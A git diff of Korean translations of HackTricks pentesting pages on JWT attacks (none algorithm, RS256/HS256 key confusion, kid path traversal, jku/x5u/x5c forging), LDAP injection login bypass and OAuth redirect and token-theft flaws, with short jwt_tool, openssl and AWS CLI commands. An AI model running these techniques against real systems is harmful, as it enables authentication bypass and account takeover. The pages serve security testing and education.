JWT의 서명이 검증되는지 확인하려면:
- 오류 메시지가 검증이 진행 중임을 나타내며, 자세한 오류에서 민감한 세부정보를 검토해야 합니다.
- 반환된 페이지의 변도 검증을 나타냅니다.
- 변화가 없으면 검증이 없음을 나타내며, 이때 페이로드 클레임 변조를 실험해 볼 수 있습니다.
- 오류 메시지가 검증이 진행 중임을 나타냅니다; 자세한 오류에서 민감한 세부정보를 검토해야 합니다.
- 반환된 페이지의 변도 검증을 나타냅니다.
- 변경이 없으면 검증이 없음을 나타냅니다; 이때 페이로드 클레임을 변조해 볼 수 있습니다.
### 출처
@ -50,20 +50,20 @@ JWT의 서명이 검증되는지 확인하려면:
[**이 페이지를 참조하세요.**](../generic-hacking/brute-force.md#jwt)
### 알고리즘을 None으로 수정하기
### 알고리즘을 None으로 수정
사용되는 알고리즘을 "None"으로 설정하고 서명 부분을 제거하세요.
Burp 확장 기능 "JSON Web Token"을 사용하여 이 취약점을 시도하고 JWT 내부의 다양한 값을 변경하세요(요청을 Repeater로 보내고 "JSON Web Token" 탭에서 토큰의 값을 수정할 수 있습니다. "Alg" 필드의 값을 "None"으로 설정할 수도 있습니다).
Burp 확장 기능 "JSON Web Token"을 사용하여 이 취약점을 시도하고 JWT 내부의 다양한 값을 변경하세요 (요청을 Repeater로 보내고 "JSON Web Token" 탭에서 토큰의 값을 수정할 수 있습니다. "Alg" 필드의 값을 "None"으로 설정할 수도 있습니다).
### 알고리즘 RS256(비대칭)을 HS256(대칭)으로 변경하기 (CVE-2016-5431/CVE-2016-10555)
### 알고리즘 RS256(비대칭)을 HS256(대칭)으로 변경 (CVE-2016-5431/CVE-2016-10555)
알고리즘 HS256은 비밀 키를 사용하여 각 메시지에 서명하고 검증합니다.\
알고리즘 RS256은 개인 키를 사용하여 메시지에 서명하고 인증을 위해 공개 키를 사용합니다.
알고리즘을 RS256에서 HS256으로 변경하면 백엔드 코드는 공개 키를 비밀 키로 사용하고 HS256 알고리즘을 사용하여 서명을 검증합니다.
그런 다음 공개 키를 사용하고 RS256을 HS256으로 변경하여 유효한 서명을 생성할 수 있습니다. 이를 실행하여 웹 서버의 인증서를 가져올 수 있습니다:
그런 다음 공개 키를 사용하고 RS256을 HS256으로 변경하여 유효한 서명을 생성할 수 있습니다. 이를 실행하여 웹 서버의 인증서를 검색할 수 있습니다:
```bash
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
@ -77,10 +77,10 @@ openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
### JWKS 스푸핑
지침은 JWT 토큰의 보안을 평가하는 방법을 자세히 설명하며, 특히 "jku" 헤더 클레임을 사용하는 토큰에 대해 설명합니다. 이 클레임은 토큰 검증에 필요한 공개 키를 포함하는 JWKS (JSON Web Key Set) 파일에 연결되어야 합니다.
지침은 "jku" 헤더 클레임을 사용하는 JWT 토큰의 보안을 평가하는 방법을 자세히 설명합니다. 이 클레임은 토큰 검증에 필요한 공개 키를 포함하는 JWKS (JSON Web Key Set) 파일에 연결되어야 합니다.
- **"jku" 헤더로 토큰 평가**:
- "jku" 클레임의 URL을 검증하여 적절한 JWKS 파일로 연결되는지 확인합니다.
- "jku" 클레임의 URL을 확인하여 적절한 JWKS 파일로 연결되는지 확인합니다.
- 토큰의 "jku" 값을 수정하여 제어된 웹 서비스로 향하게 하여 트래픽을 관찰할 수 있습니다.
- **HTTP 상호작용 모니터링**:
- 지정한 URL로의 HTTP 요청을 관찰하면 서버가 제공된 링크에서 키를 가져오려는 시도를 나타냅니다.
@ -95,19 +95,19 @@ python3 jwt_tool.py JWT_HERE -X s
### Kid 문제 개요
`kid`로 알려진 선택적 헤더 클레임은 특정 키를 식별하는 데 사용되며, 이는 토큰 서명 검증을 위해 여러 키가 존재하는 환경에서 특히 중요합니다. 이 클레임은 토큰 서명을 검증하기 위해 적절한 키를 선택하는 데 도움을 줍니다.
`kid`라는 선택적 헤더 클레임은 특정 키를 식별하는 데 사용되며, 이는 여러 키가 토큰 서명 검증에 존재하는 환경에서 특히 중요합니다. 이 클레임은 토큰 서명을 검증하기 위해 적절한 키를 선택하는 데 도움을 줍니다.
#### "kid"를 통한 키 공개
#### "kid"를 통한 키 노출
헤더에 `kid` 클레임이 존재할 때, 해당 파일이나 그 변형을 웹 디렉토리에서 검색하는 것이 좋습니다. 예를 들어, `"kid":"key/12345"`가 지정된 경우, 웹 루트에서 _/key/12345__/key/12345.pem_ 파일을 검색해야 합니다.
#### "kid" 경로 탐색
#### "kid"를 통한 경로 탐색
`kid` 클레임은 파일 시스템을 탐색하는 데 악용될 수 있으며, 임의의 파일을 선택할 수 있는 가능성을 제공합니다. 특정 파일이나 서비스를 목표로 `kid` 값을 변경하여 연결성을 테스트하거나 서버 측 요청 위조(SSRF) 공격을 실행할 수 있습니다. 원래 서명을 유지하면서 `kid` 값을 변경하기 위해 JWT를 변조하는 것은 jwt_tool에서 `-T` 플래그를 사용하여 수행할 수 있습니다.
```bash
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
```
예측 가능한 콘텐츠가 있는 파일을 타겟팅함으로써 유효한 JWT를 위조할 수 있습니다. 예를 들어, Linux 시스템의 `/proc/sys/kernel/randomize_va_space` 파일은 **2**라는 값을 포함하고 있으며, JWT 생성을 위한 대칭 비밀번호로 **2**를 `kid` 매개변수에 사용할 수 있습니다.
예측 가능한 콘텐츠가 있는 파일을 타겟팅함으로써 유효한 JWT를 위조할 수 있습니다. 예를 들어, Linux 시스템의 `/proc/sys/kernel/randomize_va_space` 파일은 값 **2**를 포함하고 있으며, JWT 생성을 위한 대칭 비밀번호로 **2**를 `kid` 매개변수에 사용할 수 있습니다.
#### "kid"를 통한 SQL 인젝션
@ -136,7 +136,7 @@ openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
```
그런 다음 예를 들어 [**jwt.io**](https://jwt.io)를 사용하여 **생성된 공개 및 개인 키로 새로운 JWT를 만들고 jku 매개변수를 생성된 인증서로 지정할 수 있습니다.** 유효한 jku 인증서를 만들기 위해 원본 인증서를 다운로드하고 필요한 매개변수를 변경할 수 있습니다.
그런 다음 예를 들어 [**jwt.io**](https://jwt.io)를 사용하여 **생성된 공개 및 개인 키로 새로운 JWT를 생성하고 jku 매개변수를 생성된 인증서로 지정할 수 있습니다.** 유효한 jku 인증서를 생성하기 위해 원본 인증서를 다운로드하고 필요한 매개변수를 변경할 수 있습니다.
공개 인증서에서 "e" 및 "n" 매개변수를 얻으려면 다음을 사용하십시오:
```bash
@ -151,7 +151,7 @@ print("e:", hex(key.e))
X.509 URL. PEM 형식으로 인코딩된 X.509(인증서 형식 표준) 공개 인증서 집합을 가리키는 URI입니다. 집합의 첫 번째 인증서는 이 JWT를 서명하는 데 사용된 인증서여야 합니다. 이후의 인증서는 각각 이전 인증서를 서명하여 인증서 체인을 완성합니다. X.509는 RFC 52807에 정의되어 있습니다. 인증서를 전송하려면 전송 보안이 필요합니다.
**이 헤더를 귀하의 제어 하에 있는 URL로 변경**하고 요청이 수신되는지 확인하십시오. 그런 경우 **JWT를 변조할 수 있습니다**.
**이 헤더를 귀하의 제어 하에 있는 URL로 변경해 보십시오** 그리고 요청이 수신되는지 확인하십시오. 그런 경우 **JWT를 변조할 수 있습니다**.
귀하가 제어하는 인증서를 사용하여 새 토큰을 위조하려면 인증서를 생성하고 공개 및 개인 키를 추출해야 합니다:
```bash
@ -162,7 +162,7 @@ openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
![](<../images/image (956).png>)
이 두 가지 취약점을 **SSRF를 위해** 악용할 수도 있습니다.
이 두 가지 취약점을 **SSRF에 대해 악용할 수도 있습니다.**
#### x5c
@ -170,7 +170,7 @@ openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
![](<../images/image (1119).png>)
공격자가 **자체 서명된 인증서**를 생성하고 해당 개인 키를 사용하여 위조된 토큰을 생성한 다음 "x5c" 매개변수의 값을 새로 생성된 인증서로 교체하고 다른 매개변수, 즉 n, e 및 x5t를 수정하면 본질적으로 위조된 토큰이 서버에 의해 수될 것입니다.
공격자가 **자체 서명된 인증서**를 생성하고 해당 개인 키를 사용하여 위조된 토큰을 생성한 다음 "x5c" 매개변수의 값을 새로 생성된 인증서로 교체하고 다른 매개변수, 즉 n, e 및 x5t를 수정하면 본질적으로 위조된 토큰이 서버에 의해 수될 것입니다.
```bash
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text
@ -191,7 +191,7 @@ const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));
```
새로운 개인/공개 키를 생성하고, 새로운 공개 키를 토큰에 포함시킨 다음, 이를 사용하여 새로운 서명을 생성하는 것이 가능합니다:
새로운 개인/공개 키를 생성하고, 새로운 공개 키를 토큰에 포함시 새로운 서명을 생성하는 것이 가능합니다:
```bash
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
@ -213,7 +213,7 @@ console.log('Parameter e: ', publicComponents.e.toString(16));
일부 애플리케이션이 ES256을 사용하고 동일한 nonce를 사용하여 두 개의 jwt를 생성하는 경우, 개인 키를 복원할 수 있습니다.
여기 예시가 있습니다: [ECDSA: 동일한 nonce 사용 시 개인 키 노출 (SECP256k1 사용)](https://asecuritysite.com/encryption/ecd5)
예시입니다: [ECDSA: 동일한 nonce 사용 시 개인 키 노출 (SECP256k1 사용)](https://asecuritysite.com/encryption/ecd5)
### JTI (JWT ID)
@ -222,7 +222,9 @@ JTI (JWT ID) 클레임은 JWT 토큰에 대한 고유 식별자를 제공합니
### JWT 등록 클레임
{% embed url="https://www.iana.org/assignments/jwt/jwt.xhtml#claims" %}
{{#ref}}
https://www.iana.org/assignments/jwt/jwt.xhtml#claims
{{#endref}}
### 기타 공격
@ -230,17 +232,18 @@ JTI (JWT ID) 클레임은 JWT 토큰에 대한 고유 식별자를 제공합니
일부 웹 애플리케이션이 토큰의 생성 및 관리를 위해 신뢰할 수 있는 JWT 서비스에 의존하는 것으로 관찰되었습니다. JWT 서비스에 의해 한 클라이언트를 위해 생성된 토큰이 동일한 JWT 서비스의 다른 클라이언트에 의해 수용된 사례가 기록되었습니다. 제3자 서비스를 통해 JWT의 발급 또는 갱신이 관찰되면, 동일한 사용자 이름/이메일을 사용하여 해당 서비스의 다른 클라이언트에 계정을 등록할 가능성을 조사해야 합니다. 그런 다음, 얻은 토큰을 요청에 재전송하여 수용되는지 확인해야 합니다.
- 귀하의 토큰이 수용되면 심각한 문제가 발생할 수 있으며, 이는 모든 사용자의 계정을 스푸핑할 수 있는 가능성을 허용할 수 있습니다. 그러나 제3자 애플리케이션에 등록하는 경우 더 넓은 테스트에 대한 허가가 필요할 수 있으며, 이는 법적 회색 영역에 들어갈 수 있음을 유의해야 합니다.
- 귀하의 토큰이 수용되면 심각한 문제가 발생할 수 있으며, 이는 모든 사용자의 계정을 스푸핑할 수 있는 가능성을 허용할 수 있습니다. 그러나 제3자 애플리케이션에 가입하는 경우 더 넓은 테스트에 대한 허가가 필요할 수 있으며, 이는 법적 회색 영역에 들어갈 수 있음을 유의해야 합니다.
**토큰 만료 확인**
토큰의 만료는 "exp" 페이로드 클레임을 사용하여 확인됩니다. JWT가 종종 세션 정보 없이 사용되기 때문에 신중한 처리가 필요합니다. 많은 경우, 다른 사용자의 JWT를 캡처하고 재전송하면 해당 사용자를 가장할 수 있습니다. JWT RFC는 토큰의 만료 시간을 설정하기 위해 "exp" 클레임을 활용하여 JWT 재전송 공격을 완화할 것을 권장합니다. 또한, 이 값을 처리하고 만료된 토큰을 거부하는 관련 검사를 애플리케이션에서 구현하는 것이 중요합니다. 토큰에 "exp" 클레임이 포함되어 있고 테스트 시간 제한이 허용된다면, 토큰을 저장하고 만료 시간이 지난 후 재전송하는 것이 좋습니다. 타임스탬프 파싱 및 만료 확인(UTC의 타임스탬프 포함)을 포함한 토큰의 내용은 jwt_tool의 -R 플래그를 사용하여 읽을 수 있습니다.
토큰의 만료는 "exp" 페이로드 클레임을 사용하여 확인됩니다. JWT가 세션 정보 없이 자주 사용되기 때문에 신중한 처리가 필요합니다. 많은 경우, 다른 사용자의 JWT를 캡처하고 재전송하면 해당 사용자를 가장할 수 있습니다. JWT RFC는 토큰의 만료 시간을 설정하기 위해 "exp" 클레임을 활용하여 JWT 재전송 공격을 완화할 것을 권장합니다. 또한, 이 값을 처리하고 만료된 토큰을 거부하는 관련 검사를 애플리케이션에서 구현하는 것이 중요합니다. 토큰에 "exp" 클레임이 포함되어 있고 테스트 시간 제한이 허용된다면, 토큰을 저장하고 만료 시간이 지난 후 재전송하는 것이 좋습니다. 타임스탬프 파싱 및 만료 확인(UTC의 타임스탬프 포함)을 포함한 토큰의 내용은 jwt_tool의 -R 플래그를 사용하여 읽을 수 있습니다.
- 애플리케이션이 여전히 토큰을 검증하는 경우 보안 위험이 존재할 수 있으며, 이는 토큰이 결코 만료되지 않을 수 있음을 의미할 수 있습니다.
### 도구
{% embed url="https://github.com/ticarpi/jwt_tool" %}
{{#ref}}
https://github.com/ticarpi/jwt_tool
{{#endref}}
{{#include ../banners/hacktricks-training.md}}

View File

@ -14,7 +14,7 @@
../network-services-pentesting/pentesting-ldap.md
{{#endref}}
**LDAP Injection**은 사용자 입력으로부터 LDAP 문장을 구성하는 웹 애플리케이션을 대상으로 하는 공격입니다. 애플리케이션이 입력을 **적절히 정화하지 못할** 때 발생하며, 공격자가 로컬 프록시를 통해 **LDAP 문장을 조작**할 수 있게 되어, 무단 접근이나 데이터 조작으로 이어질 수 있습니다.
**LDAP Injection**은 사용자 입력으로부터 LDAP 문장을 구성하는 웹 애플리케이션을 목표로 하는 공격입니다. 애플리케이션이 입력을 **적절히 정화하지 못할** 때 발생하며, 공격자가 로컬 프록시를 통해 **LDAP 문장을 조작**할 수 있게 되어, 무단 접근이나 데이터 조작으로 이어질 수 있습니다.
{% file src="../images/EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf" %}
@ -42,9 +42,9 @@
**OpenLDAP**: 2개의 필터가 도착하면 첫 번째 필터만 실행합니다.\
**ADAM 또는 Microsoft LDS**: 2개의 필터가 있으면 오류가 발생합니다.\
**SunOne Directory Server 5.0**: 두 개의 필터를 모두 실행합니다.
**SunOne Directory Server 5.0**: 두 필터를 모두 실행합니다.
**올바른 구문으로 필터를 전송하는 것이 매우 중요하며, 그렇지 않으면 오류가 발생합니다. 필터는 하나만 전송하는 것이 좋습니다.**
**올바른 구문으로 필터를 전송하는 것이 매우 중요하며, 그렇지 않으면 오류가 발생합니다. 필터는 1개만 전송하는 것이 좋습니다.**
필터는 다음으로 시작해야 합니다: `&` 또는 `|`\
예: `(&(directory=val1)(folder=public))`
@ -56,7 +56,7 @@
### 로그인 우회
LDAP는 비밀번호를 저장하기 위한 여러 형식을 지원합니다: clear, md5, smd5, sh1, sha, crypt. 따라서 비밀번호에 무엇을 입력하든 관계없이 해시될 수 있습니다.
LDAP는 비밀번호를 저장하 여러 형식을 지원합니다: clear, md5, smd5, sh1, sha, crypt. 따라서 비밀번호에 무엇을 입력하든 관계없이 해시될 수 있습니다.
```bash
user=*
password=*
@ -203,7 +203,8 @@ intitle:"phpLDAPadmin" inurl:cmd.php
```
### 더 많은 페이로드
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}
{{#ref}}
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection
{{#endref}}
{{#include ../banners/hacktricks-training.md}}

View File

@ -4,25 +4,25 @@
## Basic Information <a href="#d4a8" id="d4a8"></a>
OAuth는 다양한 버전을 제공하며, 기본적인 통찰력은 [OAuth 2.0 documentation](https://oauth.net/2/)에서 확인할 수 있습니다. 이 논의는 주로 널리 사용되는 [OAuth 2.0 authorization code grant type](https://oauth.net/2/grant-types/authorization-code/)에 중점을 두며, **애플리케이션이 다른 애플리케이션의 사용자 계정에 접근하거나 작업을 수행할 수 있도록 하는 인증 프레임워크**를 제공합니다.
OAuth는 다양한 버전을 제공하며, 기본적인 통찰력은 [OAuth 2.0 documentation](https://oauth.net/2/)에서 확인할 수 있습니다. 이 논의는 주로 널리 사용되는 [OAuth 2.0 authorization code grant type](https://oauth.net/2/grant-types/authorization-code/)에 중점을 두며, **애플리케이션이 다른 애플리케이션의 사용자 계정에 접근하거나 작업을 수행할 수 있도록 하는 인증 프레임워크**를 제공합니다 (인증 서버).
가상의 웹사이트 _**https://example.com**_을 고려해 보십시오. 이 사이트는 **모든 소셜 미디어 게시물을 보여주기 위해 설계되었습니다**, 개인 게시물도 포함하여. 이를 달성하기 위해 OAuth 2.0이 사용됩니다. _https://example.com_은 **소셜 미디어 게시물에 접근할 수 있는 권한**을 요청합니다. 따라서 _https://socialmedia.com_에서 **요청되는 권한과 요청하는 개발자**를 설명하는 동의 화면이 나타납니다. 귀하의 승인이 이루어지면, _https://example.com_은 **귀하를 대신하여 게시물에 접근할 수 있는 능력을 얻게 됩니다**.
가상의 웹사이트 _**https://example.com**_을 고려해 보십시오. 이 사이트는 **모든 소셜 미디어 게시물을 보여주기 위해 설계되었습니다**, 개인 게시물도 포함하여. 이를 달성하기 위해 OAuth 2.0이 사용됩니다. _https://example.com_은 **소셜 미디어 게시물에 접근할 수 있는 권한**을 요청합니다. 따라서 _https://socialmedia.com_에서 **요청 권한과 요청하는 개발자**를 설명하는 동의 화면이 나타납니다. 귀하의 승인이 이루어지면, _https://example.com_은 **귀하를 대신하여 게시물에 접근할 수 있는 능력**을 얻게 됩니다.
OAuth 2.0 프레임워크 내에서 다음 구성 요소를 이해하는 것이 중요합니다:
- **resource owner**: 귀하, 즉 **사용자/엔티티** 소셜 미디어 계정 게시물과 같은 리소스에 대한 접근을 승인합니다.
- **resource server**: **`access token`을 확보한 후 인증된 요청을 관리하는 서버**, 예: **https://socialmedia.com**.
- **client application**: **`resource owner`로부터 권한을 요청하는 애플리케이션**, 예: **https://example.com**.
- **authorization server**: **`resource owner`의 성공적인 인증 후 `client application``access tokens`를 발급하는 서버**, 예: **https://socialmedia.com**.
- **resource owner**: 귀하, 즉 **사용자/엔티티**로서 소셜 미디어 계정 게시물과 같은 리소스에 대한 접근을 승인합니다.
- **resource server**: **리소스 소유자를 대신하여 `access token`을 확보한 후 인증된 요청을 관리하는 서버**, 예: **https://socialmedia.com**.
- **client application**: **리소스 소유자로부터 권한을 요청하는 애플리케이션**, 예: **https://example.com**.
- **authorization server**: **리소스 소유자의 성공적인 인증 후 `client application`에 `access tokens`를 발급하는 서버**, 예: **https://socialmedia.com**.
- **client_id**: 애플리케이션의 공개 고유 식별자.
- **client_secret:** 애플리케이션과 인증 서버만 알고 있는 비밀 키로, `access_tokens`를 생성하는 데 사용됩니다.
- **client_secret:** 애플리케이션과 인증 서버만 알고 있는 비밀 키로, `access_tokens` 생성을 위해 사용됩니다.
- **response_type**: **요청된 토큰의 유형**을 지정하는 값, 예: `code`.
- **scope**: `client application``resource owner`로부터 요청하는 **접근 수준**.
- **redirect_uri**: **사용자가 인증 후 리디렉션되는 URL**. 일반적으로 사전 등록된 리디렉션 URL과 일치해야 합니다.
- **state**: **사용자의 인증 서버로의 리디렉션 간 데이터를 유지하기 위한 매개변수**. 고유성이 **CSRF 보호 메커니즘**으로 작용하는 데 중요합니다.
- **grant_type**: **부여 유형 및 반환될 토큰 유형을 나타내는 매개변수**.
- **code**: `authorization server`에서 발급된 인증 코드로, `client application``access_token`을 획득하는 데 `client_id``client_secret`과 함께 사용됩니다.
- **access_token**: **`resource owner`를 대신하여 API 요청에 사용하는 클라이언트 애플리케이션의 토큰**.
- **state**: **사용자가 인증 서버로 이동하고 돌아올 때 데이터를 유지하기 위한 매개변수**. 고유성이 **CSRF 보호 메커니즘**으로 작용하는 데 중요합니다.
- **grant_type**: **부여 유형과 반환될 토큰 유형**을 나타내는 매개변수.
- **code**: `authorization server`에서 받은 인증 코드로, `client application``access_token`을 얻기 위해 `client_id``client_secret`과 함께 사용합니다.
- **access_token**: **리소스 소유자를 대신하여 API 요청을 위해 client application이 사용하는 토큰**.
- **refresh_token**: 애플리케이션이 **사용자에게 다시 요청하지 않고 새로운 `access_token`을 얻을 수 있게 해줍니다**.
### Flow
@ -30,7 +30,7 @@ OAuth 2.0 프레임워크 내에서 다음 구성 요소를 이해하는 것이
**실제 OAuth 흐름**은 다음과 같이 진행됩니다:
1. 귀하는 [https://example.com](https://example.com)으로 이동하여 “소셜 미디어와 통합” 버튼을 선택합니다.
2. 사이트는 귀하의 게시물에 접근하기 위해 https://example.com의 애플리케이션이 허가를 요청하는 [https://socialmedia.com](https://socialmedia.com)으로 요청을 보냅니다. 요청은 다음과 같이 구성됩니다:
2. 사이트는 귀하의 게시물에 접근하기 위해 https://example.com의 애플리케이션에 대한 권한을 요청하는 [https://socialmedia.com](https://socialmedia.com)으로 요청을 보냅니다. 요청은 다음과 같이 구성됩니다:
```
https://socialmedia.com/auth
?response_type=code
@ -44,7 +44,7 @@ https://socialmedia.com/auth
```
https://example.com?code=uniqueCode123&state=randomString123
```
5. https://example.com은 이 `code`와 함께 `client_id``client_secret`을 사용하여 서버 측 요청을 수행하여 귀하를 대신하여 `access_token`을 얻고, 귀하가 동의한 권한에 대한 접근을 가능하게 합니다:
5. https://example.com은 이 `code`와 함께 `client_id``client_secret`을 사용하여 서버 측 요청을 만들어 귀하를 대신하여 `access_token`을 얻고, 귀하가 동의한 권한에 대한 접근을 가능하게 합니다:
```
POST /oauth/access_token
Host: socialmedia.com
@ -56,9 +56,9 @@ Host: socialmedia.com
### Open redirect_uri <a href="#cc36" id="cc36"></a>
`redirect_uri`는 OAuth 및 OpenID 구현에서 보안에 매우 중요하며, 이는 민감한 데이터(예: 인증 코드)가 인증 후 전송되는 위치를 지정합니다. 잘못 구성된 경우, 공격자가 이러한 요청을 악성 서버로 리디렉션할 수 있어 계정 탈취를 가능하게 합니다.
`redirect_uri`는 OAuth 및 OpenID 구현에서 보안에 매우 중요하며, 이는 민감한 데이터(예: 인증 코드)가 인증 후 어디로 전송되는지를 지시합니다. 잘못 구성된 경우, 공격자가 이러한 요청을 악성 서버로 리디렉션할 수 있어 계정 탈취를 가능하게 합니다.
악용 기술은 인증 서버의 검증 논리에 따라 다릅니다. 이는 엄격한 경로 일치에서 지정된 도메인 또는 하위 디렉토리 내의 모든 URL을 수용하는 것까지 다양합니다. 일반적인 악용 방법에는 열린 리디렉션, 경로 탐색, 약한 정규 표현식 악용 및 토큰 도용을 위한 HTML 주입이 포함됩니다.
악용 기술은 인증 서버의 검증 논리에 따라 다릅니다. 이는 엄격한 경로 일치에서 지정된 도메인 또는 하위 디렉토리 내의 모든 URL을 허용하는 것까지 다양합니다. 일반적인 악용 방법에는 오픈 리디렉션, 경로 탐색, 약한 정규 표현식 악용, 토큰 탈취를 위한 HTML 주입이 포함됩니다.
`redirect_uri` 외에도 `client_uri`, `policy_uri`, `tos_uri`, `initiate_login_uri`와 같은 다른 OAuth 및 OpenID 매개변수도 리디렉션 공격에 취약합니다. 이러한 매개변수는 선택 사항이며 서버마다 지원이 다릅니다.
@ -82,14 +82,14 @@ OAuth 구현에서 **`state` 매개변수**의 오용 또는 누락은 **교차
### 계정 탈취 전 <a href="#ebe4" id="ebe4"></a>
1. **계정 생성 시 이메일 검증 없음**: 공격자는 피해자의 이메일을 사용하여 미리 계정을 생성할 수 있습니다. 피해자가 나중에 로그인 시 제3자 서비스를 사용하면, 애플리케이션이 이 제3자 계정을 공격자가 미리 생성한 계정에 우연히 연결할 수 있어 무단 접근이 발생할 수 있습니다.
1. **계정 생성 시 이메일 검증 없음**: 공격자는 피해자의 이메일을 사용하여 미리 계정을 생성할 수 있습니다. 이후 피해자가 로그인 시 제3자 서비스를 사용할 경우, 애플리케이션은 이 제3자 계정을 공격자가 미리 생성한 계정에 우연히 연결할 수 있어 무단 접근이 발생할 수 있습니다.
2. **느슨한 OAuth 이메일 검증 악용**: 공격자는 이메일을 검증하지 않는 OAuth 서비스를 악용하여 자신의 서비스에 등록한 후 계정 이메일을 피해자의 이메일로 변경할 수 있습니다. 이 방법은 첫 번째 시나리오와 유사하게 무단 계정 접근의 위험을 초래하지만, 다른 공격 벡터를 통해 이루어집니다.
### 비밀 정보의 노출 <a href="#e177" id="e177"></a>
비밀 OAuth 매개변수를 식별하고 보호하는 것은 중요합니다. **`client_id`**는 안전하게 공개할 수 있지만, **`client_secret`**을 노출하는 것은 상당한 위험을 초래합니다. `client_secret`이 유출되면 공격자는 애플리케이션의 신원과 신뢰를 악용하여 **사용자 `access_tokens`** 및 개인 정보를 **탈취**할 수 있습니다.
일반적인 취약점은 애플리케이션이 인증 `code``access_token`으로 교환하는 과정을 클라이언트 측에서 잘못 처리할 때 발생합니다. 이 실수는 `client_secret`의 노출로 이어져, 공격자가 애플리케이션의 가장으로 `access_tokens`를 생성할 수 있게 합니다. 또한, 사회 공학을 통해 공격자는 OAuth 인증에 추가 범위를 추가하여 권한을 상승시킬 수 있으며, 애플리케이션의 신뢰된 상태를 더욱 악용할 수 있습니다.
일반적인 취약점은 애플리케이션이 클라이언트 측에서 `access_token`을 위한 인증 `code`의 교환을 잘못 처리할 때 발생합니다. 이 실수는 `client_secret`의 노출로 이어져, 공격자가 애플리케이션의 가장으로 `access_tokens`를 생성할 수 있게 합니다. 또한, 사회 공학을 통해 공격자는 OAuth 인증에 추가 범위를 추가하여 권한을 상승시킬 수 있으며, 애플리케이션의 신뢰된 상태를 더욱 악용할 수 있습니다.
### 클라이언트 비밀 무차별 대입
@ -106,7 +106,7 @@ code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=au
```
### Referer Header leaking Code + State
클라이언트가 **코드와 상태**를 가지고 있고, 다른 페이지로 이동할 때 **Referer 헤더에 반영된다면**, 취약합니다.
클라이언트가 **코드와 상태**를 가지고 있고, 다른 페이지로 이동할 때 **Referer 헤더에 반영된다면**, 이는 취약합니다.
### Access Token Stored in Browser History
@ -143,9 +143,11 @@ aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ
]
}
```
AWS Cognito 악용하는 방법에 대한 자세한 정보는 다음을 확인하세요:
더 자세한 AWS Cognito 악용 방법에 대한 정보는 다음을 확인하세요:
{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/aws-pentesting/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum" %}
{{#ref}}
https://cloud.hacktricks.xyz/pentesting-cloud/aws-pentesting/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum
{{#endref}}
### 다른 앱 토큰 악용 <a href="#bda5" id="bda5"></a>
@ -156,15 +158,15 @@ AWS Cognito를 악용하는 방법에 대한 자세한 정보는 다음을 확
> [!CAUTION]
> 따라서 공격자가 사용자가 자신의 OAuth 애플리케이션에 접근하도록 관리하면, 토큰을 기대하고 해당 토큰이 자신의 앱 ID에 부여되었는지 확인하지 않는 애플리케이션에서 피해자의 계정을 탈취할 수 있습니다.
### 두 링크 및 쿠키 <a href="#bda5" id="bda5"></a>
### 두 개의 링크 및 쿠키 <a href="#bda5" id="bda5"></a>
[**이 글에 따르면**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), 피해자가 **returnUrl**이 공격자의 호스트를 가리키는 페이지를 열도록 만드는 것이 가능했습니다. 이 정보는 **쿠키(RU)**에 **저장되며**, **나중에** **프롬프트**가 **사용자에게** 해당 공격자의 호스트에 대한 접근을 허용할 것인지 **묻습니다**.
[**이 글에 따르면**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), 피해자가 공격자의 호스트를 가리키는 **returnUrl**이 있는 페이지를 열도록 만드는 것이 가능했습니다. 이 정보는 **쿠키(RU)**에 **저장되며**, **나중에** **프롬프트**가 **사용자에게** 해당 공격자의 호스트에 대한 접근을 허용할 것인지 **묻습니다**.
이 프롬프트를 우회하기 위해, **returnUrl**을 사용하여 이 RU 쿠키를 설정하는 **Oauth 흐름**을 시작하기 위해 탭을 열고, 프롬프트가 표시되기 전에 탭을 닫고, 해당 값 없이 새 탭을 열 수 있었습니다. 그러면 **프롬프트는 공격자의 호스트에 대해 알리지 않지만**, 쿠키는 해당 호스트로 설정되므로 **토큰은 리디렉션에서 공격자의 호스트로 전송됩니다**.
이 프롬프트를 우회하기 위해, **returnUrl**을 사용하여 이 RU 쿠키를 설정하는 **Oauth 흐름**을 시작하기 위해 탭을 열고, 프롬프트가 표시되기 전에 탭을 닫고, 해당 값 없이 새 탭을 열 수 있었습니다. 그러면 **프롬프트는 공격자의 호스트에 대해 알리지 않지만**, 쿠키는 설정되므로 **토큰은 리디렉션에서 공격자의 호스트로 전송됩니다**.
### 프롬프트 상호작용 우회 <a href="#bda5" id="bda5"></a>
